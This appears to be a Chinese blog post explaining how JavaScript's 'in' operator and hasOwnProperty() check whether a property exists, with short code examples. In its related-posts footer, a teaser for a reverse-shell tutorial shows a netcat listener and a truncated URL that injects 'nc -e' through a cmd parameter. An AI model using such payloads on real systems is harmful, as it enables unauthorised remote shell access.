Day11 - this&Object Prototypes Ch3 Objects - Contents - Existence

作者说明了两种确认 object 特定 property 是否存在的方式

  1. in operator:property name 是否 in object
    使用 in operator 会完整搜寻 object ,搜寻范围包含 object 内部的 prototype 里有没有存在我们要找的 property name
var myObj =  {
	food: '燃面'
}
console.log('food' in myObj) // true
console.log('drink' in myObj)  // false

作者提醒我们,由於 in operator 是以 property name 作为搜索,对 array 使用 in operator 时,要记得 array 的 property name 是其 index

var myArr = [2,4,6]
console.log(0 in myArr) // true
console.log(4 in myArr) // false

  1. hasOwnProperty():为 object 内建的一个 prototype function,并不会完整搜寻到 prototype 层
var myObj =  {
	food: '燃面'
}
console.log(myObj.hasOwnProperty('food')) // true
console.log(myObj.hasOwnProperty('drink')) // false

祝大家开开心心河河笑,如果上述理解有误希望能协助提点~感谢大家 ԅ(≖‿≖ԅ)


<<:  从 IT 技术面细说 Search Console 的 27 组数字 KPI (2.5) :平均排名的图解

>>:  Day12 - 祖父元件与孙子元件间的传音入密

Day 04 : 操作基础篇 1 — 认识 Obsidian 预设介面与基础功能

前言 从这篇文章开始,我们要进入到 Obsidian 的操作了。在正式开始教学之前,我先快速简介 O...

[Day 20] Mattermost - 自签凭证绑定 Docker版

自签凭证绑定 Docker版 当有需求要Mattermost绑定自签凭证时怎麽办?我们的Matter...

[Day24] Bind Shell / Reverse Shell

前言 $nc -lvnp 1337 http://shhhhh.com/?cmd=nc%20-e%2...

如何下载痞客邦的图片

今天要教大家如何简易的下载痞客邦的图片 一般来说,痞客邦的图片是不能直接右键另存的 所以其实只要把整...

Day 29 - 倒数第二篇的胡言乱语

最近又从主管那边收到要做新的专案。 如果计画时间上线时间合理,不是十天没日没夜的工作,通常都会觉得这...